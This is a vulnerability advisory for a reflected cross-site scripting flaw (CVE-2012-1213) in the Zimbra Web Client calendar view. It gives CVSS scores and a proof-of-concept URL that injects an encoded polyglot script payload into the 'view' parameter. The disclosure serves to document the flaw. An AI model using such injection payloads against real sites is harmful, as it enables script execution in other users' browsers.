Zimbra Cross Site Scripting

2012-02-13 / 2012-03-03

Credit: Sony

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2012-1213

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Zimbra Cross Site Scripting
# Date: 12.02.2012
# Author: Sony
# Software Link: http://www.zimbra.com/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/zimbra-cross-site-scripting.html
..................................................................
We have xss in the Zimbra Web Client.
After registration (or login) we can see our xss.
http://www.zimbra.com/products/hosted_demo.php
After registration click on "Standart(HTML)".
zimbra/h/calendar?view=[our xss is here]
http://demo2.zimbra.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://1.bp.blogspot.com/-0ixPLXpVHaA/TzgBXpysYTI/AAAAAAAAAes/JrTtA0AJLsw/s1600/zimm.JPG

References:

http://www.zimbra.com/

http://st2tea.blogspot.com/2012/02/zimbra-cross-site-scripting.html

See this note in RAW Version

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Zimbra Cross Site Scripting

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